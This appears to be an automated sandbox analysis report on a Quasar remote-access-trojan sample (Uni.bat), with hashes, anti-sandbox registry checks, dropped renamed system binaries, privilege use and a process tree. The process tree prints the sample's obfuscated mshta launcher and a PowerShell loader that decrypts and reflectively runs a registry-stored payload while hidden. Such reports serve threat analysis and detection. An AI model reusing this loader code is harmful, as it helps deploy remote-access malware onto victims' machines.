Resubmissions
30/04/2024, 02:11
240430-cml6qaaa3v1018/03/2024, 20:46
240318-zklthaae2s725/02/2024, 01:14
240225-blxqdshe737Analysis
- max time kernel
43s - max time network
48s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system - submitted
30/04/2024, 02:11
Static task
static1
General
- Target Uni.bat
- Size 14.9MB
- Sample240430-cml6qaaa3v
- SHA256 0ed0755e3837b5bbd74cfc002313ebd54ad3b0eb735973376bb3d08e0f8d1c0b
- MD5 ac77c963ec0fffd8d65a4f3deb5194f2
- SHA1 249a4c4bf867b16db8cc6fd8f30d7e07e37c5ac2
- SHA512 2eebdca89485efbed955514ceeeb6a6933d0a2e7889b41b7cec90612eeff7a751738d6f3420aac9adad51f48e74778de05f895c4f77c91b721e609168e9f2d31
- SSDEEP 49152:oydwADYkjy42yfMi9j+WYf2LOfWY4nAxupD+7oCUTgOcA4/p0FvJZwpLpIZKCpAN:A
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
quasar
Attributes
-
reconnect_delay
3000
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/2184-76-0x0000012B80BA0000-0x0000012B81344000-memory.dmp family_quasar - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe - Deletes itself 1 IoCs
pid Process 4892 powershell.exe - Executes dropped EXE 5 IoCs
pid Process 3868 $sxr-mshta.exe 2068 $sxr-cmd.exe 2184 $sxr-powershell.exe 5752 $sxr-cmd.exe 5784 $sxr-powershell.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx svchost.exe - Drops file in Windows directory 6 IoCs
description ioc Process File created C:\Windows\$sxr-powershell.exe powershell.exe File opened for modification C:\Windows\$sxr-powershell.exe powershell.exe File created C:\Windows\$sxr-mshta.exe powershell.exe File opened for modification C:\Windows\$sxr-mshta.exe powershell.exe File created C:\Windows\$sxr-cmd.exe powershell.exe File opened for modification C:\Windows\$sxr-cmd.exe powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 26 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID RuntimeBroker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID RuntimeBroker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 RuntimeBroker.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ RuntimeBroker.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory RuntimeBroker.exe - Runs regedit.exe 1 IoCs
pid Process 5316 regedit.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4892 powershell.exe 4892 powershell.exe 4892 powershell.exe 4892 powershell.exe 4892 powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 5784 $sxr-powershell.exe 5784 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 5784 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 5784 $sxr-powershell.exe 5784 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe 2184 $sxr-powershell.exe - Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 3540 Explorer.EXE 5316 regedit.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4892 powershell.exe Token: SeDebugPrivilege 4892 powershell.exe Token: SeDebugPrivilege 4892 powershell.exe Token: SeDebugPrivilege 2184 $sxr-powershell.exe Token: SeDebugPrivilege 2184 $sxr-powershell.exe Token: SeDebugPrivilege 2184 $sxr-powershell.exe Token: SeShutdownPrivilege 3540 Explorer.EXE Token: SeCreatePagefilePrivilege 3540 Explorer.EXE Token: SeShutdownPrivilege 3540 Explorer.EXE Token: SeCreatePagefilePrivilege 3540 Explorer.EXE Token: SeShutdownPrivilege 3540 Explorer.EXE Token: SeCreatePagefilePrivilege 3540 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe Token: SeSystemtimePrivilege 2240 svchost.exe Token: SeBackupPrivilege 2240 svchost.exe Token: SeRestorePrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2240 svchost.exe Token: SeSystemEnvironmentPrivilege 2240 svchost.exe Token: SeUndockPrivilege 2240 svchost.exe Token: SeManageVolumePrivilege 2240 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe Token: SeSystemtimePrivilege 2240 svchost.exe Token: SeBackupPrivilege 2240 svchost.exe Token: SeRestorePrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2240 svchost.exe Token: SeSystemEnvironmentPrivilege 2240 svchost.exe Token: SeUndockPrivilege 2240 svchost.exe Token: SeManageVolumePrivilege 2240 svchost.exe Token: SeAuditPrivilege 2920 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe Token: SeSystemtimePrivilege 2240 svchost.exe Token: SeBackupPrivilege 2240 svchost.exe Token: SeRestorePrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2240 svchost.exe Token: SeSystemEnvironmentPrivilege 2240 svchost.exe Token: SeUndockPrivilege 2240 svchost.exe Token: SeManageVolumePrivilege 2240 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe Token: SeSystemtimePrivilege 2240 svchost.exe Token: SeBackupPrivilege 2240 svchost.exe Token: SeRestorePrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2240 svchost.exe Token: SeSystemEnvironmentPrivilege 2240 svchost.exe Token: SeUndockPrivilege 2240 svchost.exe Token: SeManageVolumePrivilege 2240 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3540 Explorer.EXE - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2184 $sxr-powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4740 wrote to memory of 2640 4740 cmd.exe 90 PID 4740 wrote to memory of 2640 4740 cmd.exe 90 PID 4740 wrote to memory of 4892 4740 cmd.exe 91 PID 4740 wrote to memory of 4892 4740 cmd.exe 91 PID 3868 wrote to memory of 2068 3868 $sxr-mshta.exe 103 PID 3868 wrote to memory of 2068 3868 $sxr-mshta.exe 103 PID 2068 wrote to memory of 4356 2068 $sxr-cmd.exe 105 PID 2068 wrote to memory of 4356 2068 $sxr-cmd.exe 105 PID 2068 wrote to memory of 2184 2068 $sxr-cmd.exe 106 PID 2068 wrote to memory of 2184 2068 $sxr-cmd.exe 106 PID 2184 wrote to memory of 668 2184 $sxr-powershell.exe 7 PID 2184 wrote to memory of 952 2184 $sxr-powershell.exe 12 PID 2184 wrote to memory of 1020 2184 $sxr-powershell.exe 13 PID 2184 wrote to memory of 508 2184 $sxr-powershell.exe 14 PID 2184 wrote to memory of 1004 2184 $sxr-powershell.exe 17 PID 2184 wrote to memory of 1096 2184 $sxr-powershell.exe 18 PID 2184 wrote to memory of 1128 2184 $sxr-powershell.exe 19 PID 2184 wrote to memory of 1140 2184 $sxr-powershell.exe 20 PID 2184 wrote to memory of 1220 2184 $sxr-powershell.exe 21 PID 2184 wrote to memory of 1240 2184 $sxr-powershell.exe 22 PID 2184 wrote to memory of 1260 2184 $sxr-powershell.exe 23 PID 2184 wrote to memory of 1376 2184 $sxr-powershell.exe 24 PID 2184 wrote to memory of 1388 2184 $sxr-powershell.exe 25 PID 2184 wrote to memory of 1492 2184 $sxr-powershell.exe 26 PID 2184 wrote to memory of 1500 2184 $sxr-powershell.exe 27 PID 2184 wrote to memory of 1548 2184 $sxr-powershell.exe 28 PID 2184 wrote to memory of 1632 2184 $sxr-powershell.exe 29 PID 2184 wrote to memory of 1684 2184 $sxr-powershell.exe 30 PID 2184 wrote to memory of 1696 2184 $sxr-powershell.exe 31 PID 2184 wrote to memory of 1776 2184 $sxr-powershell.exe 32 PID 2184 wrote to memory of 1784 2184 $sxr-powershell.exe 33 PID 2184 wrote to memory of 1896 2184 $sxr-powershell.exe 34 PID 2184 wrote to memory of 1920 2184 $sxr-powershell.exe 35 PID 2184 wrote to memory of 1928 2184 $sxr-powershell.exe 36 PID 2184 wrote to memory of 1472 2184 $sxr-powershell.exe 37 PID 2184 wrote to memory of 1828 2184 $sxr-powershell.exe 38 PID 2184 wrote to memory of 2232 2184 $sxr-powershell.exe 40 PID 2184 wrote to memory of 2240 2184 $sxr-powershell.exe 41 PID 2184 wrote to memory of 2252 2184 $sxr-powershell.exe 42 PID 2184 wrote to memory of 2472 2184 $sxr-powershell.exe 43 PID 2184 wrote to memory of 2496 2184 $sxr-powershell.exe 44 PID 2184 wrote to memory of 2588 2184 $sxr-powershell.exe 45 PID 2184 wrote to memory of 2616 2184 $sxr-powershell.exe 46 PID 2184 wrote to memory of 2768 2184 $sxr-powershell.exe 48 PID 2184 wrote to memory of 2780 2184 $sxr-powershell.exe 49 PID 2184 wrote to memory of 2884 2184 $sxr-powershell.exe 50 PID 2184 wrote to memory of 2920 2184 $sxr-powershell.exe 51 PID 2184 wrote to memory of 2952 2184 $sxr-powershell.exe 52 PID 2184 wrote to memory of 2972 2184 $sxr-powershell.exe 53 PID 2184 wrote to memory of 2996 2184 $sxr-powershell.exe 54 PID 2184 wrote to memory of 3128 2184 $sxr-powershell.exe 55 PID 2184 wrote to memory of 3244 2184 $sxr-powershell.exe 56 PID 2184 wrote to memory of 3540 2184 $sxr-powershell.exe 57 PID 2184 wrote to memory of 3668 2184 $sxr-powershell.exe 58 PID 2184 wrote to memory of 3848 2184 $sxr-powershell.exe 59 PID 2184 wrote to memory of 4008 2184 $sxr-powershell.exe 61 PID 2184 wrote to memory of 3692 2184 $sxr-powershell.exe 63 PID 2184 wrote to memory of 4936 2184 $sxr-powershell.exe 66 PID 2184 wrote to memory of 4308 2184 $sxr-powershell.exe 67 PID 2184 wrote to memory of 4536 2184 $sxr-powershell.exe 68 PID 2184 wrote to memory of 1188 2184 $sxr-powershell.exe 69 PID 2184 wrote to memory of 2512 2184 $sxr-powershell.exe 70 PID 2184 wrote to memory of 4464 2184 $sxr-powershell.exe 71 PID 2184 wrote to memory of 4212 2184 $sxr-powershell.exe 72 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\dwm.exe"dwm.exe"1⤵PID:1020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1004
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1128
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1140
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2616
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bWrlABpsIYMiBcbKIerU4312:qossowuw=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-bWrlABpsIYMiBcbKIerU4312:qossowuw=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2388
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:cRBAvnDgfx; "4⤵PID:4356
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /C set "uXpcASqFCR=[System.Diagnostics.Process]::GetProcessById(2184).WaitForExit();[System.Threading.Thread]::Sleep(5000); function mQwTG($XBUFh){ $jdwKj=[System.Security.Cryptography.Aes]::Create(); $jdwKj.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jdwKj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jdwKj.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('k/7ogWHbOPP1Xj3vmd7DmQPlfVka1Ukcbup54XzF0b4='); $jdwKj.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('WsbNAHfOn7C83gPgI7cnOw=='); $YzgkN=$jdwKj.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $TwKSq=$YzgkN.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($XBUFh, 0, $XBUFh.Length); $YzgkN.Dispose(); $jdwKj.Dispose(); $TwKSq;}function RQNcq($XBUFh){ $vgUMD=New-Object System.IO.MemoryStream(,$XBUFh); $zOTmR=New-Object System.IO.MemoryStream; Invoke-Expression '$pbdQE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$vgUMD,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $pbdQE.CopyTo($zOTmR); $pbdQE.Dispose(); $vgUMD.Dispose(); $zOTmR.Dispose(); $zOTmR.ToArray();}function fbKUc($XBUFh){ $TwKSq = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($XBUFh); $TwKSq = mQwTG($TwKSq); $TwKSq = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($TwKSq); return $TwKSq;}function execute_function($XBUFh,$qnqpJ){ $bduxG = @( '$ToEcv = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$XBUFh);'.Replace('@', ''), '$KFWGg = $ToEcv.EntryPoint;', '$KFWGg.Invoke($null, $qnqpJ);' ); foreach ($tkbcs in $bduxG) { Invoke-Expression $tkbcs };}$njROm = fbKUc('MTCsCSqS+MLwcB4a2sjbnQ==');$DxZMm = fbKUc('+lcPCSbmeZhMf0nGiJCL9pkUKsYW8jUm/zKZE+/JI/w=');$lHAQO = fbKUc('7F1t5fndOQPNKVAdx5M+ZA==');$MGmRH = fbKUc('5j2cVIrJ1XE2m2AxZ6Y0Bg==');if (@(get-process -ea silentlycontinue $MGmRH).count -gt 1) {exit};$oTLRj = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($njROm).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($DxZMm);$LXbSA=RQNcq (mQwTG ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($oTLRj)));execute_function $LXbSA (,[string[]] ($lHAQO));" & echo Invoke-Expression $env:uXpcASqFCR; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul5⤵
- Executes dropped EXE
PID:5752 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:uXpcASqFCR; "6⤵PID:5772
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1220
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1376
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1492
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1776
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1472
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2232
